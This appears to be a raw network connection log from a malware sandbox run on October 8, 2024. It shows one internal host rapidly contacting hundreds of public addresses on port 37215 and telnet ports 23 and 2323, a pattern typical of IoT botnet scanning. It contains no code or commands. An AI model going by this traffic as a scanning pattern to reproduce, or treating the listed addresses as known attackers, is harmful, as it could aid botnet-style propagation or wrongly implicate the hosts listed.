Oct 8, 2024 20:34:59.635536909 CEST	42894	37215	192.168.2.14	197.234.147.243
Oct 8, 2024 20:34:59.636316061 CEST	37215	37114	197.30.59.26	192.168.2.14
Oct 8, 2024 20:34:59.636418104 CEST	33996	37215	192.168.2.14	197.234.121.237
Oct 8, 2024 20:34:59.636688948 CEST	37215	36758	41.189.232.28	192.168.2.14
Oct 8, 2024 20:34:59.636878014 CEST	50236	37215	192.168.2.14	156.184.10.160
Oct 8, 2024 20:34:59.636878967 CEST	37215	36830	41.189.232.28	192.168.2.14
Oct 8, 2024 20:34:59.636924982 CEST	36830	37215	192.168.2.14	41.189.232.28
Oct 8, 2024 20:34:59.637115955 CEST	37215	59304	41.67.50.187	192.168.2.14
Oct 8, 2024 20:34:59.637586117 CEST	40192	37215	192.168.2.14	41.87.89.221
Oct 8, 2024 20:34:59.637885094 CEST	37215	36270	41.197.11.205	192.168.2.14
Oct 8, 2024 20:34:59.638277054 CEST	52780	37215	192.168.2.14	41.6.80.20
Oct 8, 2024 20:34:59.638778925 CEST	37215	54066	197.236.253.41	192.168.2.14
Oct 8, 2024 20:34:59.639019012 CEST	57186	37215	192.168.2.14	156.160.61.36
Oct 8, 2024 20:34:59.639635086 CEST	53388	37215	192.168.2.14	197.201.120.93
Oct 8, 2024 20:34:59.640330076 CEST	54580	37215	192.168.2.14	41.22.29.207
Oct 8, 2024 20:34:59.641021013 CEST	43194	37215	192.168.2.14	41.147.36.112
Oct 8, 2024 20:34:59.641710043 CEST	43698	37215	192.168.2.14	197.120.199.20
Oct 8, 2024 20:34:59.642364979 CEST	56164	37215	192.168.2.14	197.176.73.228
Oct 8, 2024 20:34:59.642882109 CEST	36830	37215	192.168.2.14	41.189.232.28
Oct 8, 2024 20:34:59.642882109 CEST	36914	37215	192.168.2.14	41.135.155.163
Oct 8, 2024 20:34:59.647233009 CEST	43086	37215	192.168.2.14	197.123.151.190
Oct 8, 2024 20:34:59.647237062 CEST	46296	37215	192.168.2.14	197.240.193.198
Oct 8, 2024 20:34:59.647254944 CEST	56456	37215	192.168.2.14	197.106.7.210
Oct 8, 2024 20:34:59.647254944 CEST	48728	37215	192.168.2.14	156.148.159.1
Oct 8, 2024 20:34:59.647289038 CEST	46800	37215	192.168.2.14	156.86.68.61
Oct 8, 2024 20:34:59.647289038 CEST	51502	37215	192.168.2.14	41.195.106.175
Oct 8, 2024 20:34:59.647298098 CEST	57446	37215	192.168.2.14	41.159.208.39
Oct 8, 2024 20:34:59.647311926 CEST	39470	37215	192.168.2.14	156.67.186.77
Oct 8, 2024 20:34:59.647334099 CEST	45608	37215	192.168.2.14	156.244.31.247
Oct 8, 2024 20:34:59.647349119 CEST	33876	37215	192.168.2.14	197.95.10.150
Oct 8, 2024 20:34:59.647361994 CEST	52384	37215	192.168.2.14	41.243.81.130
Oct 8, 2024 20:34:59.647373915 CEST	44284	37215	192.168.2.14	197.38.138.119
Oct 8, 2024 20:34:59.647392988 CEST	35608	37215	192.168.2.14	197.4.95.177
Oct 8, 2024 20:34:59.647428036 CEST	48228	37215	192.168.2.14	197.248.137.205
Oct 8, 2024 20:34:59.647428036 CEST	39064	37215	192.168.2.14	156.46.116.76
Oct 8, 2024 20:34:59.647429943 CEST	33356	37215	192.168.2.14	156.54.221.90
Oct 8, 2024 20:34:59.647429943 CEST	60822	37215	192.168.2.14	41.128.55.150
Oct 8, 2024 20:34:59.647433043 CEST	38008	37215	192.168.2.14	41.40.122.126
Oct 8, 2024 20:34:59.647439957 CEST	41234	37215	192.168.2.14	197.206.159.179
Oct 8, 2024 20:34:59.647439957 CEST	34754	37215	192.168.2.14	41.208.240.150
Oct 8, 2024 20:34:59.647814989 CEST	37215	36830	41.189.232.28	192.168.2.14
Oct 8, 2024 20:34:59.647866011 CEST	36830	37215	192.168.2.14	41.189.232.28
Oct 8, 2024 20:34:59.648165941 CEST	37215	36914	41.135.155.163	192.168.2.14
Oct 8, 2024 20:34:59.648222923 CEST	36914	37215	192.168.2.14	41.135.155.163
Oct 8, 2024 20:34:59.652091980 CEST	37215	43086	197.123.151.190	192.168.2.14
Oct 8, 2024 20:34:59.652165890 CEST	43086	37215	192.168.2.14	197.123.151.190
Oct 8, 2024 20:34:59.652194977 CEST	43086	37215	192.168.2.14	197.123.151.190
Oct 8, 2024 20:34:59.657727003 CEST	37215	43086	197.123.151.190	192.168.2.14
Oct 8, 2024 20:34:59.657798052 CEST	43086	37215	192.168.2.14	197.123.151.190
Oct 8, 2024 20:34:59.660861015 CEST	37215	34024	156.226.59.25	192.168.2.14
Oct 8, 2024 20:34:59.660938025 CEST	34024	37215	192.168.2.14	156.226.59.25
Oct 8, 2024 20:34:59.675614119 CEST	37215	54304	41.56.138.239	192.168.2.14
Oct 8, 2024 20:34:59.675626040 CEST	37215	51014	41.125.67.250	192.168.2.14
Oct 8, 2024 20:34:59.675633907 CEST	37215	50910	197.179.205.141	192.168.2.14
Oct 8, 2024 20:34:59.675673962 CEST	37215	43544	197.220.219.212	192.168.2.14
Oct 8, 2024 20:34:59.675683975 CEST	37215	54198	197.204.33.127	192.168.2.14
Oct 8, 2024 20:34:59.675693035 CEST	37215	36872	41.135.155.163	192.168.2.14
Oct 8, 2024 20:34:59.675703049 CEST	37215	34370	197.177.162.81	192.168.2.14
Oct 8, 2024 20:34:59.675712109 CEST	37215	47356	156.176.7.254	192.168.2.14
Oct 8, 2024 20:34:59.675721884 CEST	37215	49980	156.174.103.73	192.168.2.14
Oct 8, 2024 20:34:59.684880972 CEST	37215	54066	197.236.253.41	192.168.2.14
Oct 8, 2024 20:34:59.684964895 CEST	37215	36270	41.197.11.205	192.168.2.14
Oct 8, 2024 20:34:59.684973001 CEST	37215	59304	41.67.50.187	192.168.2.14
Oct 8, 2024 20:34:59.685015917 CEST	37215	36758	41.189.232.28	192.168.2.14
Oct 8, 2024 20:34:59.685024977 CEST	37215	37114	197.30.59.26	192.168.2.14
Oct 8, 2024 20:34:59.893785954 CEST	2323	37098	191.63.146.86	192.168.2.14
Oct 8, 2024 20:34:59.894181967 CEST	37098	2323	192.168.2.14	191.63.146.86
Oct 8, 2024 20:34:59.894598007 CEST	37234	2323	192.168.2.14	191.63.146.86
Oct 8, 2024 20:34:59.894918919 CEST	48168	2323	192.168.2.14	53.204.205.61
Oct 8, 2024 20:34:59.894937992 CEST	48168	23	192.168.2.14	221.115.167.204
Oct 8, 2024 20:34:59.894943953 CEST	48168	23	192.168.2.14	43.81.65.232
Oct 8, 2024 20:34:59.894942999 CEST	48168	23	192.168.2.14	38.0.207.62
Oct 8, 2024 20:34:59.894952059 CEST	48168	23	192.168.2.14	204.123.181.24
Oct 8, 2024 20:34:59.894953012 CEST	48168	23	192.168.2.14	24.116.242.253
Oct 8, 2024 20:34:59.894957066 CEST	48168	23	192.168.2.14	90.19.94.37
Oct 8, 2024 20:34:59.894963026 CEST	48168	23	192.168.2.14	14.79.120.147
Oct 8, 2024 20:34:59.894963026 CEST	48168	23	192.168.2.14	82.96.172.220
Oct 8, 2024 20:34:59.894978046 CEST	48168	23	192.168.2.14	83.108.132.90
Oct 8, 2024 20:34:59.894979954 CEST	48168	2323	192.168.2.14	185.62.133.212
Oct 8, 2024 20:34:59.894988060 CEST	48168	23	192.168.2.14	84.66.64.0
Oct 8, 2024 20:34:59.894994974 CEST	48168	23	192.168.2.14	191.37.49.93
Oct 8, 2024 20:34:59.894994974 CEST	48168	23	192.168.2.14	76.224.239.129
Oct 8, 2024 20:34:59.894994974 CEST	48168	23	192.168.2.14	92.249.56.130
Oct 8, 2024 20:34:59.895015001 CEST	48168	23	192.168.2.14	220.117.28.96
Oct 8, 2024 20:34:59.895015001 CEST	48168	23	192.168.2.14	141.21.182.175
Oct 8, 2024 20:34:59.895019054 CEST	48168	23	192.168.2.14	165.90.120.5
Oct 8, 2024 20:34:59.895031929 CEST	48168	23	192.168.2.14	12.158.236.219
Oct 8, 2024 20:34:59.895035982 CEST	48168	2323	192.168.2.14	183.14.157.113
Oct 8, 2024 20:34:59.895036936 CEST	48168	23	192.168.2.14	89.162.35.190
Oct 8, 2024 20:34:59.895057917 CEST	48168	23	192.168.2.14	201.47.210.96
Oct 8, 2024 20:34:59.895057917 CEST	48168	23	192.168.2.14	124.62.126.57
Oct 8, 2024 20:34:59.895067930 CEST	48168	23	192.168.2.14	102.89.85.91
Oct 8, 2024 20:34:59.895070076 CEST	48168	23	192.168.2.14	196.105.44.253
Oct 8, 2024 20:34:59.895075083 CEST	48168	23	192.168.2.14	27.103.235.187
Oct 8, 2024 20:34:59.895086050 CEST	48168	23	192.168.2.14	183.37.44.89
Oct 8, 2024 20:34:59.895088911 CEST	48168	23	192.168.2.14	124.122.120.253
Oct 8, 2024 20:34:59.895096064 CEST	48168	23	192.168.2.14	84.62.22.90
Oct 8, 2024 20:34:59.895109892 CEST	48168	23	192.168.2.14	133.43.104.213
Oct 8, 2024 20:34:59.895112038 CEST	48168	2323	192.168.2.14	27.25.45.70
Oct 8, 2024 20:34:59.895126104 CEST	48168	23	192.168.2.14	58.164.187.37
Oct 8, 2024 20:34:59.895127058 CEST	48168	23	192.168.2.14	78.194.228.72
Oct 8, 2024 20:34:59.895127058 CEST	48168	23	192.168.2.14	24.174.39.240
Oct 8, 2024 20:34:59.895137072 CEST	48168	23	192.168.2.14	97.135.255.82
Oct 8, 2024 20:34:59.895143032 CEST	48168	23	192.168.2.14	169.148.31.76
Oct 8, 2024 20:34:59.895149946 CEST	48168	23	192.168.2.14	221.238.77.204
Oct 8, 2024 20:34:59.895149946 CEST	48168	23	192.168.2.14	141.222.9.241
Oct 8, 2024 20:34:59.895164967 CEST	48168	23	192.168.2.14	192.222.4.14
Oct 8, 2024 20:34:59.895167112 CEST	48168	23	192.168.2.14	45.102.170.59
Oct 8, 2024 20:34:59.895173073 CEST	48168	2323	192.168.2.14	101.111.80.187
Oct 8, 2024 20:34:59.895195007 CEST	48168	23	192.168.2.14	8.16.87.22
Oct 8, 2024 20:34:59.895211935 CEST	48168	23	192.168.2.14	179.148.126.15
Oct 8, 2024 20:34:59.895215034 CEST	48168	23	192.168.2.14	146.166.107.122
Oct 8, 2024 20:34:59.895225048 CEST	48168	23	192.168.2.14	176.172.105.90
Oct 8, 2024 20:34:59.895231009 CEST	48168	23	192.168.2.14	100.251.46.181
Oct 8, 2024 20:34:59.895231009 CEST	48168	23	192.168.2.14	2.196.232.33
Oct 8, 2024 20:34:59.895231009 CEST	48168	23	192.168.2.14	222.46.100.84
Oct 8, 2024 20:34:59.895231009 CEST	48168	23	192.168.2.14	24.249.34.99
Oct 8, 2024 20:34:59.895242929 CEST	48168	23	192.168.2.14	77.130.142.41
Oct 8, 2024 20:34:59.895247936 CEST	48168	2323	192.168.2.14	170.107.242.230
Oct 8, 2024 20:34:59.895247936 CEST	48168	23	192.168.2.14	194.29.226.173
Oct 8, 2024 20:34:59.895260096 CEST	48168	23	192.168.2.14	20.199.150.196
Oct 8, 2024 20:34:59.895271063 CEST	48168	23	192.168.2.14	188.69.236.237
Oct 8, 2024 20:34:59.895271063 CEST	48168	23	192.168.2.14	75.193.162.216
Oct 8, 2024 20:34:59.895273924 CEST	48168	23	192.168.2.14	8.10.72.87
Oct 8, 2024 20:34:59.895275116 CEST	48168	23	192.168.2.14	79.160.121.134
Oct 8, 2024 20:34:59.895292044 CEST	48168	23	192.168.2.14	65.184.23.219
Oct 8, 2024 20:34:59.895297050 CEST	48168	23	192.168.2.14	84.64.67.155
Oct 8, 2024 20:34:59.895297050 CEST	48168	2323	192.168.2.14	87.27.120.10
Oct 8, 2024 20:34:59.895308018 CEST	48168	23	192.168.2.14	147.48.44.36
Oct 8, 2024 20:34:59.895313978 CEST	48168	23	192.168.2.14	98.104.34.108
Oct 8, 2024 20:34:59.895315886 CEST	48168	23	192.168.2.14	98.123.133.246
Oct 8, 2024 20:34:59.895317078 CEST	48168	23	192.168.2.14	217.234.138.255
Oct 8, 2024 20:34:59.895327091 CEST	48168	23	192.168.2.14	179.200.193.117
Oct 8, 2024 20:34:59.895333052 CEST	48168	23	192.168.2.14	142.179.160.69
Oct 8, 2024 20:34:59.895334959 CEST	48168	23	192.168.2.14	211.30.250.229
Oct 8, 2024 20:34:59.895348072 CEST	48168	23	192.168.2.14	80.74.182.113
Oct 8, 2024 20:34:59.895353079 CEST	48168	23	192.168.2.14	199.94.107.129
Oct 8, 2024 20:34:59.895355940 CEST	48168	23	192.168.2.14	108.188.123.38
Oct 8, 2024 20:34:59.895368099 CEST	48168	23	192.168.2.14	53.15.17.37
Oct 8, 2024 20:34:59.895375013 CEST	48168	2323	192.168.2.14	155.3.93.223
Oct 8, 2024 20:34:59.895395041 CEST	48168	23	192.168.2.14	84.48.23.170
Oct 8, 2024 20:34:59.895395041 CEST	48168	23	192.168.2.14	126.38.44.221
Oct 8, 2024 20:34:59.895405054 CEST	48168	23	192.168.2.14	156.96.98.201
Oct 8, 2024 20:34:59.895405054 CEST	48168	23	192.168.2.14	158.218.237.15
Oct 8, 2024 20:34:59.895411968 CEST	48168	23	192.168.2.14	218.94.27.40
Oct 8, 2024 20:34:59.895411968 CEST	48168	23	192.168.2.14	115.71.98.218
Oct 8, 2024 20:34:59.895411968 CEST	48168	23	192.168.2.14	211.40.24.75
Oct 8, 2024 20:34:59.895418882 CEST	48168	23	192.168.2.14	141.218.143.104
Oct 8, 2024 20:34:59.895423889 CEST	48168	2323	192.168.2.14	101.183.20.125
Oct 8, 2024 20:34:59.895436049 CEST	48168	23	192.168.2.14	107.183.133.43
Oct 8, 2024 20:34:59.895437002 CEST	48168	23	192.168.2.14	170.152.228.158
Oct 8, 2024 20:34:59.895452023 CEST	48168	23	192.168.2.14	105.26.171.57
Oct 8, 2024 20:34:59.895452023 CEST	48168	23	192.168.2.14	80.207.124.88
Oct 8, 2024 20:34:59.895454884 CEST	48168	23	192.168.2.14	106.54.55.152
Oct 8, 2024 20:34:59.895473957 CEST	48168	23	192.168.2.14	44.26.96.253
Oct 8, 2024 20:34:59.895477057 CEST	48168	23	192.168.2.14	192.127.121.85
Oct 8, 2024 20:34:59.895478010 CEST	48168	23	192.168.2.14	191.213.96.185
Oct 8, 2024 20:34:59.895482063 CEST	48168	2323	192.168.2.14	153.150.82.3
Oct 8, 2024 20:34:59.895489931 CEST	48168	23	192.168.2.14	70.252.81.204
Oct 8, 2024 20:34:59.895489931 CEST	48168	23	192.168.2.14	211.100.210.164
Oct 8, 2024 20:34:59.895490885 CEST	48168	23	192.168.2.14	115.41.229.32
Oct 8, 2024 20:34:59.895497084 CEST	48168	23	192.168.2.14	190.150.108.113
Oct 8, 2024 20:34:59.895498037 CEST	48168	23	192.168.2.14	147.69.59.25
Oct 8, 2024 20:34:59.895498037 CEST	48168	23	192.168.2.14	209.9.19.69
Oct 8, 2024 20:34:59.895526886 CEST	48168	23	192.168.2.14	191.26.248.106
Oct 8, 2024 20:34:59.895526886 CEST	48168	23	192.168.2.14	95.103.157.15
Oct 8, 2024 20:34:59.895526886 CEST	48168	23	192.168.2.14	118.113.160.127
Oct 8, 2024 20:34:59.895539999 CEST	48168	23	192.168.2.14	185.159.185.131
Oct 8, 2024 20:34:59.895540953 CEST	48168	23	192.168.2.14	222.152.203.164
Oct 8, 2024 20:34:59.895548105 CEST	48168	23	192.168.2.14	81.35.239.238
Oct 8, 2024 20:34:59.895550966 CEST	48168	2323	192.168.2.14	39.176.119.48
Oct 8, 2024 20:34:59.895554066 CEST	48168	23	192.168.2.14	154.178.223.34
Oct 8, 2024 20:34:59.895558119 CEST	48168	23	192.168.2.14	79.115.119.18
Oct 8, 2024 20:34:59.895564079 CEST	48168	23	192.168.2.14	102.99.133.190
Oct 8, 2024 20:34:59.895567894 CEST	48168	23	192.168.2.14	63.79.20.209
Oct 8, 2024 20:34:59.895584106 CEST	48168	23	192.168.2.14	222.239.81.21
Oct 8, 2024 20:34:59.895584106 CEST	48168	23	192.168.2.14	8.150.211.160
Oct 8, 2024 20:34:59.895584106 CEST	48168	2323	192.168.2.14	116.58.132.37
Oct 8, 2024 20:34:59.895596027 CEST	48168	23	192.168.2.14	40.83.250.107
Oct 8, 2024 20:34:59.895601988 CEST	48168	23	192.168.2.14	74.109.190.22
Oct 8, 2024 20:34:59.895601988 CEST	48168	23	192.168.2.14	198.68.19.124
Oct 8, 2024 20:34:59.895603895 CEST	48168	23	192.168.2.14	97.59.9.189
Oct 8, 2024 20:34:59.895607948 CEST	48168	23	192.168.2.14	78.39.185.185
Oct 8, 2024 20:34:59.895622015 CEST	48168	23	192.168.2.14	151.27.252.49
Oct 8, 2024 20:34:59.895637035 CEST	48168	23	192.168.2.14	106.74.207.136
Oct 8, 2024 20:34:59.895639896 CEST	48168	23	192.168.2.14	84.28.204.95
Oct 8, 2024 20:34:59.895649910 CEST	48168	23	192.168.2.14	72.208.222.98
Oct 8, 2024 20:34:59.895651102 CEST	48168	23	192.168.2.14	204.89.116.137
Oct 8, 2024 20:34:59.895663023 CEST	48168	23	192.168.2.14	24.9.75.104
Oct 8, 2024 20:34:59.895664930 CEST	48168	2323	192.168.2.14	113.248.53.183
Oct 8, 2024 20:34:59.895664930 CEST	48168	23	192.168.2.14	105.0.76.76
Oct 8, 2024 20:34:59.895665884 CEST	48168	23	192.168.2.14	168.33.49.146
Oct 8, 2024 20:34:59.895674944 CEST	48168	23	192.168.2.14	95.74.245.87
Oct 8, 2024 20:34:59.895683050 CEST	48168	23	192.168.2.14	106.143.39.70
Oct 8, 2024 20:34:59.895694017 CEST	48168	23	192.168.2.14	113.40.205.89
Oct 8, 2024 20:34:59.895697117 CEST	48168	23	192.168.2.14	212.176.67.201
Oct 8, 2024 20:34:59.895698071 CEST	48168	23	192.168.2.14	81.29.245.62
Oct 8, 2024 20:34:59.895709991 CEST	48168	23	192.168.2.14	79.210.248.195
Oct 8, 2024 20:34:59.895710945 CEST	48168	23	192.168.2.14	46.169.229.40
Oct 8, 2024 20:34:59.895714998 CEST	48168	2323	192.168.2.14	14.178.154.40
Oct 8, 2024 20:34:59.895724058 CEST	48168	23	192.168.2.14	202.226.249.83
Oct 8, 2024 20:34:59.895724058 CEST	48168	23	192.168.2.14	141.171.141.180
Oct 8, 2024 20:34:59.895729065 CEST	48168	23	192.168.2.14	139.18.208.250
Oct 8, 2024 20:34:59.895737886 CEST	48168	23	192.168.2.14	123.217.102.252
Oct 8, 2024 20:34:59.895756960 CEST	48168	23	192.168.2.14	176.38.171.58
Oct 8, 2024 20:34:59.895757914 CEST	48168	23	192.168.2.14	53.247.72.77
Oct 8, 2024 20:34:59.895760059 CEST	48168	23	192.168.2.14	176.76.110.212
Oct 8, 2024 20:34:59.895762920 CEST	48168	23	192.168.2.14	201.222.111.248
Oct 8, 2024 20:34:59.895772934 CEST	48168	2323	192.168.2.14	216.49.10.47
Oct 8, 2024 20:34:59.895772934 CEST	48168	23	192.168.2.14	78.67.95.61
Oct 8, 2024 20:34:59.895787001 CEST	48168	23	192.168.2.14	86.2.245.79
Oct 8, 2024 20:34:59.895797014 CEST	48168	23	192.168.2.14	135.51.154.156
Oct 8, 2024 20:34:59.895817041 CEST	48168	23	192.168.2.14	216.57.218.201
Oct 8, 2024 20:34:59.895818949 CEST	48168	23	192.168.2.14	160.173.137.72
Oct 8, 2024 20:34:59.895819902 CEST	48168	23	192.168.2.14	218.142.184.173
Oct 8, 2024 20:34:59.895827055 CEST	48168	23	192.168.2.14	103.54.103.183
Oct 8, 2024 20:34:59.895827055 CEST	48168	23	192.168.2.14	192.139.193.101
Oct 8, 2024 20:34:59.895832062 CEST	48168	23	192.168.2.14	117.93.34.147
Oct 8, 2024 20:34:59.895832062 CEST	48168	2323	192.168.2.14	156.29.168.180
Oct 8, 2024 20:34:59.895833969 CEST	48168	23	192.168.2.14	190.98.24.57
Oct 8, 2024 20:34:59.895837069 CEST	48168	23	192.168.2.14	187.63.227.153
Oct 8, 2024 20:34:59.895852089 CEST	48168	23	192.168.2.14	120.140.133.166
Oct 8, 2024 20:34:59.895857096 CEST	48168	23	192.168.2.14	193.18.30.211
Oct 8, 2024 20:34:59.895857096 CEST	48168	23	192.168.2.14	128.24.146.234
Oct 8, 2024 20:34:59.895874977 CEST	48168	23	192.168.2.14	211.64.208.52
Oct 8, 2024 20:34:59.895874977 CEST	48168	23	192.168.2.14	151.242.55.164
Oct 8, 2024 20:34:59.895879030 CEST	48168	23	192.168.2.14	181.241.98.219
Oct 8, 2024 20:34:59.895883083 CEST	48168	23	192.168.2.14	108.195.214.188
Oct 8, 2024 20:34:59.899633884 CEST	2323	37098	191.63.146.86	192.168.2.14
Oct 8, 2024 20:34:59.899962902 CEST	2323	37234	191.63.146.86	192.168.2.14
Oct 8, 2024 20:34:59.900022984 CEST	37234	2323	192.168.2.14	191.63.146.86
Oct 8, 2024 20:34:59.900559902 CEST	2323	48168	53.204.205.61	192.168.2.14
Oct 8, 2024 20:34:59.900568962 CEST	23	48168	43.81.65.232	192.168.2.14
Oct 8, 2024 20:34:59.900578022 CEST	23	48168	221.115.167.204	192.168.2.14
Oct 8, 2024 20:34:59.900603056 CEST	48168	2323	192.168.2.14	53.204.205.61
Oct 8, 2024 20:34:59.900609970 CEST	48168	23	192.168.2.14	43.81.65.232
Oct 8, 2024 20:34:59.900660038 CEST	48168	23	192.168.2.14	221.115.167.204
Oct 8, 2024 20:34:59.900682926 CEST	23	48168	14.79.120.147	192.168.2.14
Oct 8, 2024 20:34:59.900691986 CEST	23	48168	90.19.94.37	192.168.2.14
Oct 8, 2024 20:34:59.900702000 CEST	23	48168	82.96.172.220	192.168.2.14
Oct 8, 2024 20:34:59.900712967 CEST	23	48168	204.123.181.24	192.168.2.14
Oct 8, 2024 20:34:59.900722027 CEST	23	48168	38.0.207.62	192.168.2.14
Oct 8, 2024 20:34:59.900727034 CEST	48168	23	192.168.2.14	90.19.94.37
Oct 8, 2024 20:34:59.900727034 CEST	48168	23	192.168.2.14	14.79.120.147
Oct 8, 2024 20:34:59.900732040 CEST	23	48168	83.108.132.90	192.168.2.14
Oct 8, 2024 20:34:59.900738001 CEST	48168	23	192.168.2.14	82.96.172.220
Oct 8, 2024 20:34:59.900742054 CEST	23	48168	24.116.242.253	192.168.2.14
Oct 8, 2024 20:34:59.900751114 CEST	48168	23	192.168.2.14	204.123.181.24
Oct 8, 2024 20:34:59.900753975 CEST	23	48168	84.66.64.0	192.168.2.14
Oct 8, 2024 20:34:59.900753021 CEST	48168	23	192.168.2.14	83.108.132.90
Oct 8, 2024 20:34:59.900755882 CEST	48168	23	192.168.2.14	38.0.207.62
Oct 8, 2024 20:34:59.900768995 CEST	48168	23	192.168.2.14	24.116.242.253
Oct 8, 2024 20:34:59.900772095 CEST	2323	48168	185.62.133.212	192.168.2.14
Oct 8, 2024 20:34:59.900784969 CEST	23	48168	191.37.49.93	192.168.2.14
Oct 8, 2024 20:34:59.900798082 CEST	23	48168	76.224.239.129	192.168.2.14
Oct 8, 2024 20:34:59.900799036 CEST	48168	23	192.168.2.14	84.66.64.0
Oct 8, 2024 20:34:59.900809050 CEST	23	48168	92.249.56.130	192.168.2.14
Oct 8, 2024 20:34:59.900810003 CEST	48168	2323	192.168.2.14	185.62.133.212
Oct 8, 2024 20:34:59.900819063 CEST	23	48168	220.117.28.96	192.168.2.14
Oct 8, 2024 20:34:59.900823116 CEST	48168	23	192.168.2.14	191.37.49.93
Oct 8, 2024 20:34:59.900823116 CEST	48168	23	192.168.2.14	76.224.239.129
Oct 8, 2024 20:34:59.900827885 CEST	23	48168	141.21.182.175	192.168.2.14
Oct 8, 2024 20:34:59.900837898 CEST	23	48168	165.90.120.5	192.168.2.14
Oct 8, 2024 20:34:59.900839090 CEST	48168	23	192.168.2.14	92.249.56.130
Oct 8, 2024 20:34:59.900845051 CEST	48168	23	192.168.2.14	220.117.28.96
Oct 8, 2024 20:34:59.900849104 CEST	23	48168	12.158.236.219	192.168.2.14
Oct 8, 2024 20:34:59.900851965 CEST	48168	23	192.168.2.14	141.21.182.175
Oct 8, 2024 20:34:59.900859118 CEST	2323	48168	183.14.157.113	192.168.2.14
Oct 8, 2024 20:34:59.900867939 CEST	23	48168	89.162.35.190	192.168.2.14
Oct 8, 2024 20:34:59.900871992 CEST	48168	23	192.168.2.14	165.90.120.5
Oct 8, 2024 20:34:59.900876999 CEST	23	48168	201.47.210.96	192.168.2.14
Oct 8, 2024 20:34:59.900887012 CEST	48168	23	192.168.2.14	12.158.236.219
Oct 8, 2024 20:34:59.900887012 CEST	23	48168	196.105.44.253	192.168.2.14
Oct 8, 2024 20:34:59.900890112 CEST	48168	2323	192.168.2.14	183.14.157.113
Oct 8, 2024 20:34:59.900897980 CEST	23	48168	124.62.126.57	192.168.2.14
Oct 8, 2024 20:34:59.900907040 CEST	48168	23	192.168.2.14	89.162.35.190
Oct 8, 2024 20:34:59.900907040 CEST	48168	23	192.168.2.14	201.47.210.96
Oct 8, 2024 20:34:59.900917053 CEST	48168	23	192.168.2.14	196.105.44.253
Oct 8, 2024 20:34:59.900922060 CEST	48168	23	192.168.2.14	124.62.126.57
Oct 8, 2024 20:34:59.905060053 CEST	23	34514	67.23.229.115	192.168.2.14
Oct 8, 2024 20:34:59.905143976 CEST	34514	23	192.168.2.14	67.23.229.115
Oct 8, 2024 20:34:59.905447960 CEST	34650	23	192.168.2.14	67.23.229.115
Oct 8, 2024 20:34:59.911006927 CEST	23	34514	67.23.229.115	192.168.2.14
Oct 8, 2024 20:34:59.911016941 CEST	23	34650	67.23.229.115	192.168.2.14
Oct 8, 2024 20:34:59.911082983 CEST	34650	23	192.168.2.14	67.23.229.115
Oct 8, 2024 20:35:00.639250994 CEST	57186	37215	192.168.2.14	156.160.61.36
Oct 8, 2024 20:35:00.639250994 CEST	33996	37215	192.168.2.14	197.234.121.237
Oct 8, 2024 20:35:00.639251947 CEST	52780	37215	192.168.2.14	41.6.80.20
Oct 8, 2024 20:35:00.639259100 CEST	50236	37215	192.168.2.14	156.184.10.160
Oct 8, 2024 20:35:00.639261007 CEST	40192	37215	192.168.2.14	41.87.89.221
Oct 8, 2024 20:35:00.639260054 CEST	33836	37215	192.168.2.14	41.74.171.135
Oct 8, 2024 20:35:00.639261007 CEST	42894	37215	192.168.2.14	197.234.147.243
Oct 8, 2024 20:35:00.639272928 CEST	36340	37215	192.168.2.14	41.197.11.205
Oct 8, 2024 20:35:00.639273882 CEST	54136	37215	192.168.2.14	197.236.253.41
Oct 8, 2024 20:35:00.639272928 CEST	59374	37215	192.168.2.14	41.67.50.187
Oct 8, 2024 20:35:00.639288902 CEST	43616	37215	192.168.2.14	197.220.219.212
Oct 8, 2024 20:35:00.639296055 CEST	50982	37215	192.168.2.14	197.179.205.141
Oct 8, 2024 20:35:00.639317989 CEST	47428	37215	192.168.2.14	156.176.7.254
Oct 8, 2024 20:35:00.639317989 CEST	50052	37215	192.168.2.14	156.174.103.73
Oct 8, 2024 20:35:00.639322996 CEST	54270	37215	192.168.2.14	197.204.33.127
Oct 8, 2024 20:35:00.639322996 CEST	34442	37215	192.168.2.14	197.177.162.81
Oct 8, 2024 20:35:00.639331102 CEST	54376	37215	192.168.2.14	41.56.138.239
Oct 8, 2024 20:35:00.639333010 CEST	37186	37215	192.168.2.14	197.30.59.26
Oct 8, 2024 20:35:00.639348030 CEST	34342	37215	192.168.2.14	41.131.40.164
Oct 8, 2024 20:35:00.639357090 CEST	54824	37215	192.168.2.14	41.168.12.102
Oct 8, 2024 20:35:00.639359951 CEST	51086	37215	192.168.2.14	41.125.67.250
Oct 8, 2024 20:35:00.639359951 CEST	47610	37215	192.168.2.14	156.26.171.128
Oct 8, 2024 20:35:00.639374971 CEST	40528	37215	192.168.2.14	156.42.166.221
Oct 8, 2024 20:35:00.639379978 CEST	49236	37215	192.168.2.14	41.249.12.127
Oct 8, 2024 20:35:00.639389992 CEST	58506	37215	192.168.2.14	197.224.174.122
Oct 8, 2024 20:35:00.639389992 CEST	49004	37215	192.168.2.14	197.53.81.109
Oct 8, 2024 20:35:00.639408112 CEST	43516	37215	192.168.2.14	41.34.19.233
Oct 8, 2024 20:35:00.639409065 CEST	45964	37215	192.168.2.14	197.126.132.192
Oct 8, 2024 20:35:00.639410973 CEST	54898	37215	192.168.2.14	41.115.157.223
Oct 8, 2024 20:35:00.639415979 CEST	42526	37215	192.168.2.14	197.110.33.52
Oct 8, 2024 20:35:00.639427900 CEST	48536	37215	192.168.2.14	41.130.30.224
Oct 8, 2024 20:35:00.639431953 CEST	46578	37215	192.168.2.14	156.82.185.38
Oct 8, 2024 20:35:00.639436007 CEST	51794	37215	192.168.2.14	41.114.131.97
Oct 8, 2024 20:35:00.639446974 CEST	55606	37215	192.168.2.14	41.167.195.187
Oct 8, 2024 20:35:00.639452934 CEST	36300	37215	192.168.2.14	197.132.170.39
Oct 8, 2024 20:35:00.639456034 CEST	39174	37215	192.168.2.14	197.89.103.45
Oct 8, 2024 20:35:00.639467001 CEST	44772	37215	192.168.2.14	156.86.188.100
Oct 8, 2024 20:35:00.639467955 CEST	56248	37215	192.168.2.14	156.168.97.189
Oct 8, 2024 20:35:00.639473915 CEST	53310	37215	192.168.2.14	197.190.56.127
Oct 8, 2024 20:35:00.639484882 CEST	45876	37215	192.168.2.14	156.198.32.25
Oct 8, 2024 20:35:00.639486074 CEST	50152	37215	192.168.2.14	197.104.247.95
Oct 8, 2024 20:35:00.644865990 CEST	37215	52780	41.6.80.20	192.168.2.14
Oct 8, 2024 20:35:00.644877911 CEST	37215	57186	156.160.61.36	192.168.2.14
Oct 8, 2024 20:35:00.644886017 CEST	37215	33996	197.234.121.237	192.168.2.14
Oct 8, 2024 20:35:00.644958019 CEST	52780	37215	192.168.2.14	41.6.80.20
